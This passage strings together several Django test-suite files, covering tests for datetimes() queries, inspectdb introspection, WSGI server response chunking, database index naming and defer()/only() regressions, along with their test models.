                datetime.datetime(2005, 7, 28),
            ],
            lambda d: d,
        )

    @skipIf(pytz is None, "this test requires pytz")
    @override_settings(USE_TZ=True)
    def test_21432(self):
        now = timezone.localtime(timezone.now().replace(microsecond=0))
        Article.objects.create(title="First one", pub_date=now)
        qs = Article.objects.datetimes('pub_date', 'second')
        self.assertEqual(qs[0], now)

    def test_datetimes_returns_available_dates_for_given_scope_and_given_field(self):
        pub_dates = [
            datetime.datetime(2005, 7, 28, 12, 15),
            datetime.datetime(2005, 7, 29, 2, 15),
            datetime.datetime(2005, 7, 30, 5, 15),
            datetime.datetime(2005, 7, 31, 19, 15)]
        for i, pub_date in enumerate(pub_dates):
            Article(pub_date=pub_date, title='title #{}'.format(i)).save()

        self.assertQuerysetEqual(
            Article.objects.datetimes('pub_date', 'year'),
            ["datetime.datetime(2005, 1, 1, 0, 0)"])
        self.assertQuerysetEqual(
            Article.objects.datetimes('pub_date', 'month'),
            ["datetime.datetime(2005, 7, 1, 0, 0)"])
        self.assertQuerysetEqual(
            Article.objects.datetimes('pub_date', 'day'),
            ["datetime.datetime(2005, 7, 28, 0, 0)",
             "datetime.datetime(2005, 7, 29, 0, 0)",
             "datetime.datetime(2005, 7, 30, 0, 0)",
             "datetime.datetime(2005, 7, 31, 0, 0)"])
        self.assertQuerysetEqual(
            Article.objects.datetimes('pub_date', 'day', order='ASC'),
            ["datetime.datetime(2005, 7, 28, 0, 0)",
             "datetime.datetime(2005, 7, 29, 0, 0)",
             "datetime.datetime(2005, 7, 30, 0, 0)",
             "datetime.datetime(2005, 7, 31, 0, 0)"])
        self.assertQuerysetEqual(
            Article.objects.datetimes('pub_date', 'day', order='DESC'),
            ["datetime.datetime(2005, 7, 31, 0, 0)",
             "datetime.datetime(2005, 7, 30, 0, 0)",
             "datetime.datetime(2005, 7, 29, 0, 0)",
             "datetime.datetime(2005, 7, 28, 0, 0)"])

    def test_datetimes_has_lazy_iterator(self):
        pub_dates = [
            datetime.datetime(2005, 7, 28, 12, 15),
            datetime.datetime(2005, 7, 29, 2, 15),
            datetime.datetime(2005, 7, 30, 5, 15),
            datetime.datetime(2005, 7, 31, 19, 15)]
        for i, pub_date in enumerate(pub_dates):
            Article(pub_date=pub_date, title='title #{}'.format(i)).save()
        # Use iterator() with datetimes() to return a generator that lazily
        # requests each result one at a time, to save memory.
        dates = []
        with self.assertNumQueries(0):
            article_datetimes_iterator = Article.objects.datetimes('pub_date', 'day', order='DESC').iterator()

        with self.assertNumQueries(1):
            for article in article_datetimes_iterator:
                dates.append(article)
        self.assertEqual(dates, [
            datetime.datetime(2005, 7, 31, 0, 0),
            datetime.datetime(2005, 7, 30, 0, 0),
            datetime.datetime(2005, 7, 29, 0, 0),
            datetime.datetime(2005, 7, 28, 0, 0)])

    def test_datetimes_disallows_date_fields(self):
        dt = datetime.datetime(2005, 7, 28, 12, 15)
        Article.objects.create(pub_date=dt, published_on=dt.date(), title="Don't put dates into datetime functions!")
        with self.assertRaisesMessage(ValueError, "Cannot truncate DateField 'published_on' to DateTimeField"):
            list(Article.objects.datetimes('published_on', 'second'))






# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models


class People(models.Model):
    name = models.CharField(max_length=255)
    parent = models.ForeignKey('self', models.CASCADE)


class Message(models.Model):
    from_field = models.ForeignKey(People, models.CASCADE, db_column='from_id')


class PeopleData(models.Model):
    people_pk = models.ForeignKey(People, models.CASCADE, primary_key=True)
    ssn = models.CharField(max_length=11)


class PeopleMoreData(models.Model):
    people_unique = models.ForeignKey(People, models.CASCADE, unique=True)
    license = models.CharField(max_length=255)


class DigitsInColumnName(models.Model):
    all_digits = models.CharField(max_length=11, db_column='123')
    leading_digit = models.CharField(max_length=11, db_column='4extra')
    leading_digits = models.CharField(max_length=11, db_column='45extra')


class SpecialName(models.Model):
    field = models.IntegerField(db_column='field')
    # Underscores
    field_field_0 = models.IntegerField(db_column='Field_')
    field_field_1 = models.IntegerField(db_column='Field__')
    field_field_2 = models.IntegerField(db_column='__field')
    # Other chars
    prc_x = models.IntegerField(db_column='prc(%) x')
    non_ascii = models.IntegerField(db_column='tamaño')

    class Meta:
        db_table = "inspectdb_special.table name"


class ColumnTypes(models.Model):
    id = models.AutoField(primary_key=True)
    big_int_field = models.BigIntegerField()
    bool_field = models.BooleanField(default=False)
    null_bool_field = models.NullBooleanField()
    char_field = models.CharField(max_length=10)
    null_char_field = models.CharField(max_length=10, blank=True, null=True)
    comma_separated_int_field = models.CommaSeparatedIntegerField(max_length=99)
    date_field = models.DateField()
    date_time_field = models.DateTimeField()
    decimal_field = models.DecimalField(max_digits=6, decimal_places=1)
    email_field = models.EmailField()
    file_field = models.FileField(upload_to="unused")
    file_path_field = models.FilePathField()
    float_field = models.FloatField()
    int_field = models.IntegerField()
    gen_ip_adress_field = models.GenericIPAddressField(protocol="ipv4")
    pos_int_field = models.PositiveIntegerField()
    pos_small_int_field = models.PositiveSmallIntegerField()
    slug_field = models.SlugField()
    small_int_field = models.SmallIntegerField()
    text_field = models.TextField()
    time_field = models.TimeField()
    url_field = models.URLField()
    uuid_field = models.UUIDField()


class UniqueTogether(models.Model):
    field1 = models.IntegerField()
    field2 = models.CharField(max_length=10)
    from_field = models.IntegerField(db_column='from')
    non_unique = models.IntegerField(db_column='non__unique_column')
    non_unique_0 = models.IntegerField(db_column='non_unique__column')

    class Meta:
        unique_together = [
            ('field1', 'field2'),
            ('from_field', 'field1'),
            ('non_unique', 'non_unique_0'),
        ]












# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

import re
from unittest import skipUnless

from django.core.management import call_command
from django.db import connection
from django.test import TestCase, mock, skipUnlessDBFeature
from django.utils.encoding import force_text
from django.utils.six import PY3, StringIO

from .models import ColumnTypes


class InspectDBTestCase(TestCase):

    def test_stealth_table_name_filter_option(self):
        out = StringIO()
        # Lets limit the introspection to tables created for models of this
        # application
        call_command('inspectdb',
                     table_name_filter=lambda tn: tn.startswith('inspectdb_'),
                     stdout=out)
        error_message = "inspectdb has examined a table that should have been filtered out."
        # contrib.contenttypes is one of the apps always installed when running
        # the Django test suite, check that one of its tables hasn't been
        # inspected
        self.assertNotIn("class DjangoContentType(models.Model):", out.getvalue(), msg=error_message)

    def test_table_option(self):
        """
        inspectdb can inspect a subset of tables by passing the table names as
        arguments.
        """
        out = StringIO()
        call_command('inspectdb', 'inspectdb_people', stdout=out)
        output = out.getvalue()
        self.assertIn('class InspectdbPeople(models.Model):', output)
        self.assertNotIn("InspectdbPeopledata", output)

    def make_field_type_asserter(self):
        """Call inspectdb and return a function to validate a field type in its output"""
        out = StringIO()
        call_command('inspectdb',
                     table_name_filter=lambda tn: tn.startswith('inspectdb_columntypes'),
                     stdout=out)
        output = out.getvalue()

        def assertFieldType(name, definition):
            out_def = re.search(r'^\s*%s = (models.*)$' % name, output, re.MULTILINE).groups()[0]
            self.assertEqual(definition, out_def)

        return assertFieldType

    def test_field_types(self):
        """Test introspection of various Django field types"""
        assertFieldType = self.make_field_type_asserter()

        # Inspecting Oracle DB doesn't produce correct results (#19884):
        # - it gets max_length wrong: it returns a number of bytes.
        # - it reports fields as blank=True when they aren't.
        if (connection.features.can_introspect_max_length and
                not connection.features.interprets_empty_strings_as_nulls):
            assertFieldType('char_field', "models.CharField(max_length=10)")
            assertFieldType('null_char_field', "models.CharField(max_length=10, blank=True, null=True)")
            assertFieldType('comma_separated_int_field', "models.CharField(max_length=99)")
        assertFieldType('date_field', "models.DateField()")
        assertFieldType('date_time_field', "models.DateTimeField()")
        if (connection.features.can_introspect_max_length and
                not connection.features.interprets_empty_strings_as_nulls):
            assertFieldType('email_field', "models.CharField(max_length=254)")
            assertFieldType('file_field', "models.CharField(max_length=100)")
            assertFieldType('file_path_field', "models.CharField(max_length=100)")
        if connection.features.can_introspect_ip_address_field:
            assertFieldType('gen_ip_adress_field', "models.GenericIPAddressField()")
        elif (connection.features.can_introspect_max_length and
                not connection.features.interprets_empty_strings_as_nulls):
            assertFieldType('gen_ip_adress_field', "models.CharField(max_length=39)")
        if (connection.features.can_introspect_max_length and
                not connection.features.interprets_empty_strings_as_nulls):
            assertFieldType('slug_field', "models.CharField(max_length=50)")
        if not connection.features.interprets_empty_strings_as_nulls:
            assertFieldType('text_field', "models.TextField()")
        if connection.features.can_introspect_time_field:
            assertFieldType('time_field', "models.TimeField()")
        if (connection.features.can_introspect_max_length and
                not connection.features.interprets_empty_strings_as_nulls):
            assertFieldType('url_field', "models.CharField(max_length=200)")
        if connection.features.has_native_uuid_field:
            assertFieldType('uuid_field', "models.UUIDField()")
        elif (connection.features.can_introspect_max_length and
                not connection.features.interprets_empty_strings_as_nulls):
            assertFieldType('uuid_field', "models.CharField(max_length=32)")

    def test_number_field_types(self):
        """Test introspection of various Django field types"""
        assertFieldType = self.make_field_type_asserter()

        if not connection.features.can_introspect_autofield:
            assertFieldType('id', "models.IntegerField(primary_key=True)  # AutoField?")

        if connection.features.can_introspect_big_integer_field:
            assertFieldType('big_int_field', "models.BigIntegerField()")
        else:
            assertFieldType('big_int_field', "models.IntegerField()")

        bool_field = ColumnTypes._meta.get_field('bool_field')
        bool_field_type = connection.features.introspected_boolean_field_type(bool_field)
        assertFieldType('bool_field', "models.{}()".format(bool_field_type))
        null_bool_field = ColumnTypes._meta.get_field('null_bool_field')
        null_bool_field_type = connection.features.introspected_boolean_field_type(null_bool_field)
        if 'BooleanField' in null_bool_field_type:
            assertFieldType('null_bool_field', "models.{}()".format(null_bool_field_type))
        else:
            if connection.features.can_introspect_null:
                assertFieldType('null_bool_field', "models.{}(blank=True, null=True)".format(null_bool_field_type))
            else:
                assertFieldType('null_bool_field', "models.{}()".format(null_bool_field_type))

        if connection.features.can_introspect_decimal_field:
            assertFieldType('decimal_field', "models.DecimalField(max_digits=6, decimal_places=1)")
        else:       # Guessed arguments on SQLite, see #5014
            assertFieldType('decimal_field', "models.DecimalField(max_digits=10, decimal_places=5)  "
                                             "# max_digits and decimal_places have been guessed, "
                                             "as this database handles decimal fields as float")

        assertFieldType('float_field', "models.FloatField()")

        assertFieldType('int_field', "models.IntegerField()")

        if connection.features.can_introspect_positive_integer_field:
            assertFieldType('pos_int_field', "models.PositiveIntegerField()")
        else:
            assertFieldType('pos_int_field', "models.IntegerField()")

        if connection.features.can_introspect_positive_integer_field:
            if connection.features.can_introspect_small_integer_field:
                assertFieldType('pos_small_int_field', "models.PositiveSmallIntegerField()")
            else:
                assertFieldType('pos_small_int_field', "models.PositiveIntegerField()")
        else:
            if connection.features.can_introspect_small_integer_field:
                assertFieldType('pos_small_int_field', "models.SmallIntegerField()")
            else:
                assertFieldType('pos_small_int_field', "models.IntegerField()")

        if connection.features.can_introspect_small_integer_field:
            assertFieldType('small_int_field', "models.SmallIntegerField()")
        else:
            assertFieldType('small_int_field', "models.IntegerField()")

    @skipUnlessDBFeature('can_introspect_foreign_keys')
    def test_attribute_name_not_python_keyword(self):
        out = StringIO()
        # Lets limit the introspection to tables created for models of this
        # application
        call_command('inspectdb',
                     table_name_filter=lambda tn: tn.startswith('inspectdb_'),
                     stdout=out)
        output = out.getvalue()
        error_message = "inspectdb generated an attribute name which is a python keyword"
        # Recursive foreign keys should be set to 'self'
        self.assertIn("parent = models.ForeignKey('self', models.DO_NOTHING)", output)
        self.assertNotIn(
            "from = models.ForeignKey(InspectdbPeople, models.DO_NOTHING)",
            output,
            msg=error_message,
        )
        # As InspectdbPeople model is defined after InspectdbMessage, it should be quoted
        self.assertIn(
            "from_field = models.ForeignKey('InspectdbPeople', models.DO_NOTHING, db_column='from_id')",
            output,
        )
        self.assertIn(
            "people_pk = models.ForeignKey(InspectdbPeople, models.DO_NOTHING, primary_key=True)",
            output,
        )
        self.assertIn(
            "people_unique = models.ForeignKey(InspectdbPeople, models.DO_NOTHING, unique=True)",
            output,
        )

    def test_digits_column_name_introspection(self):
        """Introspection of column names consist/start with digits (#16536/#17676)"""
        out = StringIO()
        # Lets limit the introspection to tables created for models of this
        # application
        call_command('inspectdb',
                     table_name_filter=lambda tn: tn.startswith('inspectdb_'),
                     stdout=out)
        output = out.getvalue()
        error_message = "inspectdb generated a model field name which is a number"
        self.assertNotIn("    123 = models.CharField", output, msg=error_message)
        self.assertIn("number_123 = models.CharField", output)

        error_message = "inspectdb generated a model field name which starts with a digit"
        self.assertNotIn("    4extra = models.CharField", output, msg=error_message)
        self.assertIn("number_4extra = models.CharField", output)

        self.assertNotIn("    45extra = models.CharField", output, msg=error_message)
        self.assertIn("number_45extra = models.CharField", output)

    def test_special_column_name_introspection(self):
        """
        Introspection of column names containing special characters,
        unsuitable for Python identifiers
        """
        out = StringIO()
        call_command('inspectdb',
                     table_name_filter=lambda tn: tn.startswith('inspectdb_'),
                     stdout=out)
        output = out.getvalue()
        base_name = 'Field' if not connection.features.uppercases_column_names else 'field'
        self.assertIn("field = models.IntegerField()", output)
        self.assertIn("field_field = models.IntegerField(db_column='%s_')" % base_name, output)
        self.assertIn("field_field_0 = models.IntegerField(db_column='%s__')" % base_name, output)
        self.assertIn("field_field_1 = models.IntegerField(db_column='__field')", output)
        self.assertIn("prc_x = models.IntegerField(db_column='prc(%) x')", output)
        if PY3:
            # Python 3 allows non-ASCII identifiers
            self.assertIn("tamaño = models.IntegerField()", output)
        else:
            self.assertIn("tama_o = models.IntegerField(db_column='tama\\xf1o')", output)

    def test_table_name_introspection(self):
        """
        Introspection of table names containing special characters,
        unsuitable for Python identifiers
        """
        out = StringIO()
        call_command('inspectdb',
                     table_name_filter=lambda tn: tn.startswith('inspectdb_'),
                     stdout=out)
        output = out.getvalue()
        self.assertIn("class InspectdbSpecialTableName(models.Model):", output)

    def test_managed_models(self):
        """Test that by default the command generates models with `Meta.managed = False` (#14305)"""
        out = StringIO()
        call_command('inspectdb',
                     table_name_filter=lambda tn: tn.startswith('inspectdb_columntypes'),
                     stdout=out)
        output = out.getvalue()
        self.longMessage = False
        self.assertIn("        managed = False", output, msg='inspectdb should generate unmanaged models.')

    def test_unique_together_meta(self):
        out = StringIO()
        call_command('inspectdb',
                     table_name_filter=lambda tn: tn.startswith('inspectdb_uniquetogether'),
                     stdout=out)
        output = out.getvalue()
        unique_re = re.compile(r'.*unique_together = \((.+),\).*')
        unique_together_match = re.findall(unique_re, output)
        # There should be one unique_together tuple.
        self.assertEqual(len(unique_together_match), 1)
        fields = unique_together_match[0]
        # Fields with db_column = field name.
        self.assertIn("('field1', 'field2')", fields)
        # Fields from columns whose names are Python keywords.
        self.assertIn("('field1', 'field2')", fields)
        # Fields whose names normalize to the same Python field name and hence
        # are given an integer suffix.
        self.assertIn("('non_unique_column', 'non_unique_column_0')", fields)

    @skipUnless(connection.vendor == 'sqlite',
                "Only patched sqlite's DatabaseIntrospection.data_types_reverse for this test")
    def test_custom_fields(self):
        """
        Introspection of columns with a custom field (#21090)
        """
        out = StringIO()
        orig_data_types_reverse = connection.introspection.data_types_reverse
        try:
            connection.introspection.data_types_reverse = {
                'text': 'myfields.TextField',
                'bigint': 'BigIntegerField',
            }
            call_command('inspectdb',
                         table_name_filter=lambda tn: tn.startswith('inspectdb_columntypes'),
                         stdout=out)
            output = out.getvalue()
            self.assertIn("text_field = myfields.TextField()", output)
            self.assertIn("big_int_field = models.BigIntegerField()", output)
        finally:
            connection.introspection.data_types_reverse = orig_data_types_reverse

    def test_introspection_errors(self):
        """
        Introspection errors should not crash the command, and the error should
        be visible in the output.
        """
        out = StringIO()
        with mock.patch('django.db.backends.base.introspection.BaseDatabaseIntrospection.table_names',
                        return_value=['nonexistent']):
            call_command('inspectdb', stdout=out)
        output = force_text(out.getvalue())
        self.assertIn("# Unable to inspect table 'nonexistent'", output)
        # The error message depends on the backend
        self.assertIn("# The error was:", output)












from __future__ import unicode_literals

import sys
import traceback
from io import BytesIO
from unittest import TestCase
from wsgiref import simple_server

# If data is too large, socket will choke, so write chunks no larger than 32MB
# at a time. The rationale behind the 32MB can be found on Django's Trac:
# https://code.djangoproject.com/ticket/5596#comment:4
MAX_SOCKET_CHUNK_SIZE = 32 * 1024 * 1024  # 32 MB


class ServerHandler(simple_server.ServerHandler, object):
    error_status = str("500 INTERNAL SERVER ERROR")

    def write(self, data):
        """'write()' callable as specified by PEP 3333"""

        assert isinstance(data, bytes), "write() argument must be bytestring"

        if not self.status:
            raise AssertionError("write() before start_response()")

        elif not self.headers_sent:
            # Before the first output, send the stored headers
            self.bytes_sent = len(data)    # make sure we know content-length
            self.send_headers()
        else:
            self.bytes_sent += len(data)

        # XXX check Content-Length and truncate if too many bytes written?
        data = BytesIO(data)
        for chunk in iter(lambda: data.read(MAX_SOCKET_CHUNK_SIZE), b''):
            self._write(chunk)
            self._flush()

    def error_output(self, environ, start_response):
        super(ServerHandler, self).error_output(environ, start_response)
        return ['\n'.join(traceback.format_exception(*sys.exc_info()))]

    # Backport of http://hg.python.org/cpython/rev/d5af1b235dab. See #16241.
    # This can be removed when support for Python <= 2.7.3 is deprecated.
    def finish_response(self):
        try:
            if not self.result_is_file() or not self.sendfile():
                for data in self.result:
                    self.write(data)
                self.finish_content()
        finally:
            self.close()


class DummyHandler(object):
    def log_request(self, *args, **kwargs):
        pass


class FileWrapperHandler(ServerHandler):
    def __init__(self, *args, **kwargs):
        super(FileWrapperHandler, self).__init__(*args, **kwargs)
        self.request_handler = DummyHandler()
        self._used_sendfile = False

    def sendfile(self):
        self._used_sendfile = True
        return True


def wsgi_app(environ, start_response):
    start_response(str('200 OK'), [(str('Content-Type'), str('text/plain'))])
    return [b'Hello World!']


def wsgi_app_file_wrapper(environ, start_response):
    start_response(str('200 OK'), [(str('Content-Type'), str('text/plain'))])
    return environ['wsgi.file_wrapper'](BytesIO(b'foo'))


class WSGIFileWrapperTests(TestCase):
    """
    Test that the wsgi.file_wrapper works for the builting server.

    Tests for #9659: wsgi.file_wrapper in the builtin server.
    We need to mock a couple of handlers and keep track of what
    gets called when using a couple kinds of WSGI apps.
    """

    def test_file_wrapper_uses_sendfile(self):
        env = {'SERVER_PROTOCOL': 'HTTP/1.0'}
        handler = FileWrapperHandler(None, BytesIO(), BytesIO(), env)
        handler.run(wsgi_app_file_wrapper)
        self.assertTrue(handler._used_sendfile)
        self.assertEqual(handler.stdout.getvalue(), b'')
        self.assertEqual(handler.stderr.getvalue(), b'')

    def test_file_wrapper_no_sendfile(self):
        env = {'SERVER_PROTOCOL': 'HTTP/1.0'}
        handler = FileWrapperHandler(None, BytesIO(), BytesIO(), env)
        handler.run(wsgi_app)
        self.assertFalse(handler._used_sendfile)
        self.assertEqual(handler.stdout.getvalue().splitlines()[-1], b'Hello World!')
        self.assertEqual(handler.stderr.getvalue(), b'')


class WriteChunkCounterHandler(ServerHandler):
    """
    Server handler that counts the number of chunks written after headers were
    sent. Used to make sure large response body chunking works properly.
    """

    def __init__(self, *args, **kwargs):
        super(WriteChunkCounterHandler, self).__init__(*args, **kwargs)
        self.request_handler = DummyHandler()
        self.headers_written = False
        self.write_chunk_counter = 0

    def send_headers(self):
        super(WriteChunkCounterHandler, self).send_headers()
        self.headers_written = True

    def _write(self, data):
        if self.headers_written:
            self.write_chunk_counter += 1
        self.stdout.write(data)


def send_big_data_app(environ, start_response):
    start_response(str('200 OK'), [(str('Content-Type'), str('text/plain'))])
    # Return a blob of data that is 1.5 times the maximum chunk size.
    return [b'x' * (MAX_SOCKET_CHUNK_SIZE + MAX_SOCKET_CHUNK_SIZE // 2)]


class ServerHandlerChunksProperly(TestCase):
    """
    Test that the ServerHandler chunks data properly.

    Tests for #18972: The logic that performs the math to break data into
    32MB (MAX_SOCKET_CHUNK_SIZE) chunks was flawed, BUT it didn't actually
    cause any problems.
    """

    def test_chunked_data(self):
        env = {'SERVER_PROTOCOL': 'HTTP/1.0'}
        handler = WriteChunkCounterHandler(None, BytesIO(), BytesIO(), env)
        handler.run(send_big_data_app)
        self.assertEqual(handler.write_chunk_counter, 2)






from django.db import connection, models


class CurrentTranslation(models.ForeignObject):
    """
    Creates virtual relation to the translation with model cache enabled.
    """
    # Avoid validation
    requires_unique_target = False

    def __init__(self, to, on_delete, from_fields, to_fields, **kwargs):
        # Disable reverse relation
        kwargs['related_name'] = '+'
        # Set unique to enable model cache.
        kwargs['unique'] = True
        super(CurrentTranslation, self).__init__(to, on_delete, from_fields, to_fields, **kwargs)


class ArticleTranslation(models.Model):

    article = models.ForeignKey('indexes.Article', models.CASCADE)
    article_no_constraint = models.ForeignKey('indexes.Article', models.CASCADE, db_constraint=False, related_name='+')
    language = models.CharField(max_length=10, unique=True)
    content = models.TextField()


class Article(models.Model):
    headline = models.CharField(max_length=100)
    pub_date = models.DateTimeField()

    # Add virtual relation to the ArticleTranslation model.
    translation = CurrentTranslation(ArticleTranslation, models.CASCADE, ['id'], ['article'])

    class Meta:
        index_together = [
            ["headline", "pub_date"],
        ]


# Model for index_together being used only with single list
class IndexTogetherSingleList(models.Model):
    headline = models.CharField(max_length=100)
    pub_date = models.DateTimeField()

    class Meta:
        index_together = ["headline", "pub_date"]

# Indexing a TextField on Oracle or MySQL results in index creation error.
if connection.vendor == 'postgresql':
    class IndexedArticle(models.Model):
        headline = models.CharField(max_length=100, db_index=True)
        body = models.TextField(db_index=True)
        slug = models.CharField(max_length=40, unique=True)












from unittest import skipUnless

from django.db import connection
from django.test import TestCase

from .models import Article, ArticleTranslation, IndexTogetherSingleList


class SchemaIndexesTests(TestCase):
    """
    Test index handling by the db.backends.schema infrastructure.
    """

    def test_index_name_hash(self):
        """
        Index names should be deterministic.
        """
        with connection.schema_editor() as editor:
            index_name = editor._create_index_name(
                model=Article,
                column_names=("c1",),
                suffix="123",
            )
        self.assertEqual(index_name, "indexes_article_c1_a52bd80b123")

    def test_index_name(self):
        """
        Index names on the built-in database backends::
            * Are truncated as needed.
            * Include all the column names.
            * Include a deterministic hash.
        """
        long_name = 'l%sng' % ('o' * 100)
        with connection.schema_editor() as editor:
            index_name = editor._create_index_name(
                model=Article,
                column_names=('c1', 'c2', long_name),
                suffix='ix',
            )
        expected = {
            'mysql': 'indexes_article_c1_c2_looooooooooooooooooo_255179b2ix',
            'oracle': 'indexes_a_c1_c2_loo_255179b2ix',
            'postgresql': 'indexes_article_c1_c2_loooooooooooooooooo_255179b2ix',
            'sqlite': 'indexes_article_c1_c2_l%sng_255179b2ix' % ('o' * 100),
        }
        if connection.vendor not in expected:
            self.skipTest('This test is only supported on the built-in database backends.')
        self.assertEqual(index_name, expected[connection.vendor])

    def test_index_together(self):
        editor = connection.schema_editor()
        index_sql = editor._model_indexes_sql(Article)
        self.assertEqual(len(index_sql), 1)
        # Ensure the index name is properly quoted
        self.assertIn(
            connection.ops.quote_name(
                editor._create_index_name(Article, ['headline', 'pub_date'], suffix='_idx')
            ),
            index_sql[0]
        )

    def test_index_together_single_list(self):
        # Test for using index_together with a single list (#22172)
        index_sql = connection.schema_editor()._model_indexes_sql(IndexTogetherSingleList)
        self.assertEqual(len(index_sql), 1)

    @skipUnless(connection.vendor == 'postgresql', "This is a postgresql-specific issue")
    def test_postgresql_text_indexes(self):
        """Test creation of PostgreSQL-specific text indexes (#12234)"""
        from .models import IndexedArticle
        index_sql = connection.schema_editor()._model_indexes_sql(IndexedArticle)
        self.assertEqual(len(index_sql), 5)
        self.assertIn('("headline" varchar_pattern_ops)', index_sql[1])
        self.assertIn('("body" text_pattern_ops)', index_sql[3])
        # unique=True and db_index=True should only create the varchar-specific
        # index (#19441).
        self.assertIn('("slug" varchar_pattern_ops)', index_sql[4])

    @skipUnless(connection.vendor == 'postgresql', "This is a postgresql-specific issue")
    def test_postgresql_virtual_relation_indexes(self):
        """Test indexes are not created for related objects"""
        index_sql = connection.schema_editor()._model_indexes_sql(Article)
        self.assertEqual(len(index_sql), 1)

    @skipUnless(connection.vendor == 'mysql', "This is a mysql-specific issue")
    def test_no_index_for_foreignkey(self):
        """
        MySQL on InnoDB already creates indexes automatically for foreign keys.
        (#14180). An index should be created if db_constraint=False (#26171).
        """
        storage = connection.introspection.get_storage_engine(
            connection.cursor(), ArticleTranslation._meta.db_table
        )
        if storage != "InnoDB":
            self.skip("This test only applies to the InnoDB storage engine")
        index_sql = connection.schema_editor()._model_indexes_sql(ArticleTranslation)
        self.assertEqual(index_sql, [
            'CREATE INDEX `indexes_articletranslation_article_no_constraint_id_d6c0806b` '
            'ON `indexes_articletranslation` (`article_no_constraint_id`)'
        ])






"""
Regression tests for defer() / only() behavior.
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Item(models.Model):
    name = models.CharField(max_length=15)
    text = models.TextField(default="xyzzy")
    value = models.IntegerField()
    other_value = models.IntegerField(default=0)

    def __str__(self):
        return self.name


class RelatedItem(models.Model):
    item = models.ForeignKey(Item, models.CASCADE)


class ProxyRelated(RelatedItem):
    class Meta:
        proxy = True


class Child(models.Model):
    name = models.CharField(max_length=10)
    value = models.IntegerField()


@python_2_unicode_compatible
class Leaf(models.Model):
    name = models.CharField(max_length=10)
    child = models.ForeignKey(Child, models.CASCADE)
    second_child = models.ForeignKey(Child, models.SET_NULL, related_name="other", null=True)
    value = models.IntegerField(default=42)

    def __str__(self):
        return self.name


class ResolveThis(models.Model):
    num = models.FloatField()
    name = models.CharField(max_length=16)


class Proxy(Item):
    class Meta:
        proxy = True


@python_2_unicode_compatible
class SimpleItem(models.Model):
    name = models.CharField(max_length=15)
    value = models.IntegerField()

    def __str__(self):
        return self.name


class Feature(models.Model):
    item = models.ForeignKey(SimpleItem, models.CASCADE)


class SpecialFeature(models.Model):
    feature = models.ForeignKey(Feature, models.CASCADE)


class OneToOneItem(models.Model):
    item = models.OneToOneField(Item, models.CASCADE, related_name="one_to_one_item")
    name = models.CharField(max_length=15)


class ItemAndSimpleItem(models.Model):
    item = models.ForeignKey(Item, models.CASCADE)
    simple = models.ForeignKey(SimpleItem, models.CASCADE)


class Profile(models.Model):
    profile1 = models.CharField(max_length=1000, default='profile1')


class Location(models.Model):
    location1 = models.CharField(max_length=1000, default='location1')


class Request(models.Model):
    profile = models.ForeignKey(Profile, models.SET_NULL, null=True, blank=True)
    location = models.ForeignKey(Location, models.CASCADE)
    items = models.ManyToManyField(Item)

    request1 = models.CharField(default='request1', max_length=1000)
    request2 = models.CharField(default='request2', max_length=1000)
    request3 = models.CharField(default='request3', max_length=1000)
    request4 = models.CharField(default='request4', max_length=1000)


class Base(models.Model):
    text = models.TextField()


class Derived(Base):
    other_text = models.TextField()












from __future__ import unicode_literals

from operator import attrgetter

from django.contrib.contenttypes.models import ContentType
from django.contrib.sessions.backends.db import SessionStore
from django.db import models
from django.db.models import Count
from django.test import TestCase, override_settings

from .models import (
    Base, Child, Derived, Feature, Item, ItemAndSimpleItem, Leaf, Location,
    OneToOneItem, Proxy, ProxyRelated, RelatedItem, Request, ResolveThis,
    SimpleItem, SpecialFeature,
)


class DeferRegressionTest(TestCase):
    def test_basic(self):
        # Deferred fields should really be deferred and not accidentally use
        # the field's default value just because they aren't passed to __init__

        Item.objects.create(name="first", value=42)
        obj = Item.objects.only("name", "other_value").get(name="first")
        # Accessing "name" doesn't trigger a new database query. Accessing
        # "value" or "text" should.
        with self.assertNumQueries(0):
            self.assertEqual(obj.name, "first")
            self.assertEqual(obj.other_value, 0)

        with self.assertNumQueries(1):
            self.assertEqual(obj.value, 42)

        with self.assertNumQueries(1):
            self.assertEqual(obj.text, "xyzzy")

        with self.assertNumQueries(0):
            self.assertEqual(obj.text, "xyzzy")

        # Regression test for #10695. Make sure different instances don't
        # inadvertently share data in the deferred descriptor objects.
        i = Item.objects.create(name="no I'm first", value=37)
        items = Item.objects.only("value").order_by("-value")
        self.assertEqual(items[0].name, "first")
        self.assertEqual(items[1].name, "no I'm first")

        RelatedItem.objects.create(item=i)
        r = RelatedItem.objects.defer("item").get()
        self.assertEqual(r.item_id, i.id)
        self.assertEqual(r.item, i)

        # Some further checks for select_related() and inherited model
        # behavior (regression for #10710).
        c1 = Child.objects.create(name="c1", value=42)
        c2 = Child.objects.create(name="c2", value=37)
        Leaf.objects.create(name="l1", child=c1, second_child=c2)

        obj = Leaf.objects.only("name", "child").select_related()[0]
        self.assertEqual(obj.child.name, "c1")

        self.assertQuerysetEqual(
            Leaf.objects.select_related().only("child__name", "second_child__name"), [
                "l1",
            ],
            attrgetter("name")
        )

        # Models instances with deferred fields should still return the same
        # content types as their non-deferred versions (bug #10738).
        ctype = ContentType.objects.get_for_model
        c1 = ctype(Item.objects.all()[0])
        c2 = ctype(Item.objects.defer("name")[0])
        c3 = ctype(Item.objects.only("name")[0])
        self.assertTrue(c1 is c2 is c3)

        # Regression for #10733 - only() can be used on a model with two
        # foreign keys.
        results = Leaf.objects.only("name", "child", "second_child").select_related()
        self.assertEqual(results[0].child.name, "c1")
        self.assertEqual(results[0].second_child.name, "c2")

        results = Leaf.objects.only(
            "name", "child", "second_child", "child__name", "second_child__name"
        ).select_related()
        self.assertEqual(results[0].child.name, "c1")
        self.assertEqual(results[0].second_child.name, "c2")

        # Regression for #16409 - make sure defer() and only() work with annotate()
        self.assertIsInstance(
            list(SimpleItem.objects.annotate(Count('feature')).defer('name')),
            list)
        self.assertIsInstance(
            list(SimpleItem.objects.annotate(Count('feature')).only('name')),
            list)

    @override_settings(SESSION_SERIALIZER='django.contrib.sessions.serializers.PickleSerializer')
    def test_ticket_12163(self):
        # Test for #12163 - Pickling error saving session with unsaved model
        # instances.
        SESSION_KEY = '2b1189a188b44ad18c35e1baac6ceead'

        item = Item()
        item._deferred = False
        s = SessionStore(SESSION_KEY)
        s.clear()
        s["item"] = item
        s.save(must_create=True)

        s = SessionStore(SESSION_KEY)
        s.modified = True
        s.save()

        i2 = s["item"]
        self.assertFalse(i2._deferred)

